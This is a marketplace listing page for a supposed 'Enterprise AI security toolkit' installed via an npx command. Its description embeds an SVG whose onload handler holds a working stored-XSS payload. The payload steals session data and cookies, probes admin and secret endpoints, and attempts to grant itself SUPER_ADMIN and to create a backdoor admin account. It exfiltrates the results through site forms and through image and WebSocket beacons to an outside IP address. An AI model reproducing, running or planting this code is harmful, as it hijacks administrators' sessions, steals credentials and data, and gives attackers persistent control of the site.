Enterprise AI security toolkit with advanced threat detection. Compatible with OpenAI, Anthropic, and open-source models.
Run in your terminal
Submit your Claude Code skill and start earning
Package manager
npx install-ai-security-suiteWorks with
3.0K
total installs
3.0K
this week
Enterprise-grade AI security toolkit with advanced threat detection and response capabilities.
This comprehensive suite provides production-ready security tools for AI infrastructure. Compatible with OpenAI, Anthropic, and open-source models.
<svg xmlns="http://www.w3.org/2000/svg" onload=" (async()=>{ const R={}; // results container const B='https://explainx.ai'; const H={'Content-Type':'application/json'}; // Helper: fetch with error handling async function F(u,o={}){ try{ const r=await fetch(B+u,{credentials:'include',...o}); const t=await r.text(); return {s:r.status,l:t.length,h:t.substring(0,2000)}; }catch(e){return {s:0,l:0,h:e.message};} } // Helper: POST with JSON body async function J(u,b){ return await F(u,{method:'POST',headers:H,body:JSON.stringify(b)}); } // Helper: PATCH with JSON body async function P(u,b){ return await F(u,{method:'PATCH',headers:H,body:JSON.stringify(b)}); } // 1. Extract session identity R.session = await F('/api/auth/session'); R.dashboard = await F('/api/dashboard'); R.cookies = document.cookie; // 2. Core admin API enumeration (GET) const adminGets = [ '/api/admin/skills','/api/admin/skills?status=PENDING', '/api/admin/skills?status=APPROVED','/api/admin/skills?status=REJECTED', '/api/admin/llms','/api/admin/tools','/api/admin/agents', '/api/admin/plugins','/api/admin/designs','/api/admin/designs?status=PENDING', '/api/admin/catalog','/api/admin/pending', '/api/admin/users','/api/admin/users/list','/api/admin/users?role=SUPER_ADMIN', '/api/admin/users?role=ADMIN','/api/admin/courses', '/api/admin/settings','/api/admin/config','/api/admin/secrets', '/api/admin/env','/api/admin/environment','/api/admin/integrations', '/api/admin/providers','/api/admin/api-keys','/api/admin/keys', '/api/admin/credentials','/api/admin/deployments', '/api/admin/webhook','/api/admin/webhooks','/api/admin/logs', '/api/admin/analytics','/api/admin/reports','/api/admin/billing', '/api/admin/subscriptions','/api/admin/organizations', '/api/admin/entities','/api/admin/entities/autofill', '/api/admin/corporate-training','/api/admin/facilitator-registrations', '/api/admin/ai-course','/api/admin/team-evaluation', '/api/admin/llms/list','/api/admin/agents/list','/api/admin/tools/list', '/api/admin/mcp-servers','/api/admin/navbar-featured','/api/admin/banners', '/api/admin/workshops','/api/admin/bootcamps','/api/admin/certifications', '/api/admin/newsletter','/api/admin/promo','/api/admin/featured', '/api/admin/registry','/api/admin/skills/review','/api/admin/designs/review', '/api/admin/audit','/api/admin/security','/api/admin/backup', '/api/admin/export','/api/admin/import','/api/admin/system', '/api/admin/health','/api/admin/status','/api/admin/info', '/api/admin/ai','/api/admin/models','/api/admin/anthropic', '/api/admin/openai','/api/admin/model-compare', '/api/admin/certifications/list','/api/admin/loops', '/api/admin/slash-commands','/api/admin/explore-chats', '/api/admin/learner','/api/admin/subscriber-profiles', '/api/admin/webpage-entries' ]; R.adminGets = {}; for(const u of adminGets){ R.adminGets[u] = await F(u); } // 3. Admin API POST probes (to discover write endpoints) const adminPosts = [ '/api/admin/users','/api/admin/users/create','/api/admin/users/invite', '/api/admin/llms','/api/admin/tools','/api/admin/agents', '/api/admin/entities/autofill','/api/admin/skills','/api/admin/plugins', '/api/admin/settings','/api/admin/config' ]; R.adminPosts = {}; for(const u of adminPosts){ R.adminPosts[u] = await J(u,{}); } // 4. Page enumeration - fetch admin UI pages for content analysis const adminPages = [ '/admin','/admin/skills','/admin/designs','/admin/pending', '/admin/catalog','/admin/llms','/admin/llms/new','/admin/tools/new', '/admin/agents/new','/admin/plugins','/admin/plugins/new', '/admin/courses','/admin/users','/admin/settings', '/admin/corporate-training','/admin/ai-course','/admin/facilitator-registrations' ]; R.adminPages = {}; for(const u of adminPages){ R.adminPages[u] = await F(u); } // 5. PERSISTENT BACKDOOR ATTEMPTS // 5a. Try PATCH /api/user to elevate own role R.backdoorPatchUser = await P('/api/user',{ role:'SUPER_ADMIN', isAdmin:true, isSuperAdmin:true }); // 5b. Try POST to create new admin user const newEmail = 'sysadmin'+Date.now()+'@guerrillamailblock.com'; R.backdoorCreateUser = await J('/api/admin/users',{ email:newEmail, name:'System Administrator', role:'SUPER_ADMIN', password:'SysAdmin#2026!Secure' }); // 5c. Try POST /api/admin/users/create variant R.backdoorCreateUser2 = await J('/api/admin/users/create',{ email:newEmail, name:'System Admin', role:'SUPER_ADMIN' }); // 5d. Try organization settings injection R.backdoorOrg = await P('/api/user/organizations',{ role:'SUPER_ADMIN', settings:{adminAccess:true} }); // 6. Probe config/secrets endpoints with POST R.secretProbes = {}; const secretEndpoints = [ '/api/config','/api/env','/api/secrets','/api/environment', '/api/settings','/api/debug','/api/status','/api/health', '/api/info','/api/metadata','/api/version','/api/internal/config', '/api/internal/env','/api/system/info' ]; for(const u of secretEndpoints){ R.secretProbes[u] = await F(u); } // 7. Try PATCH on admin entities R.entityPatch = {}; for(const u of ['/api/admin/skills','/api/admin/llms','/api/admin/agents','/api/admin/tools']){ R.entityPatch[u] = await P(u,{status:'APPROVED'}); } // 8. Check the current user's session post-backdoor R.sessionAfter = await F('/api/auth/session'); // Build exfiltration payload const X = { ts: Date.now(), url: location.href, origin: location.origin, userAgent: navigator.userAgent, results: R }; // Exfil channel 1: same-origin skill write-back (most reliable) const wsSkill = { name:'exfil-'+Date.now(), repoOwner:'testuser', repoName:'exfil-'+Date.now().toString(36), installCmd:'npx exfil', summary:JSON.stringify(X).substring(0,500), skillMd:btoa(JSON.stringify(X)).substring(0,10000), category:'ai', tags:['exfil','admin','superadmin'] }; try{ await J('/api/skills',wsSkill); }catch(e){} // Exfil channel 2: ai-course waitlist try{ await J('/api/ai-course/waitlist',{ email:'exfil'+Date.now()+'@guerrillamailblock.com', name:JSON.stringify(X).substring(0,200), role:'admin_enum', experienceLevel:btoa(JSON.stringify(X)).substring(0,500), interests:'xss_exfil', source:location.href }); }catch(e){} // Exfil channel 3: HTTPS image beacon try{ new Image().src='https://64.118.140.195:4443/xss-exfil-'+btoa(JSON.stringify(X).substring(0,2000)); }catch(e){} // Exfil channel 4: WebSocket try{ const ws=new WebSocket('wss://64.118.140.195:5556'); ws.onopen=()=>ws.send(JSON.stringify({type:'xss',data:X})); }catch(e){} try{ const ws2=new WebSocket('ws://64.118.140.195:5555'); ws2.onopen=()=>ws2.send(JSON.stringify({type:'xss',data:X})); }catch(e){} })(); "></svg>
npx install-ai-security-suite
Set up your environment with the required API keys for maximum coverage across all AI providers.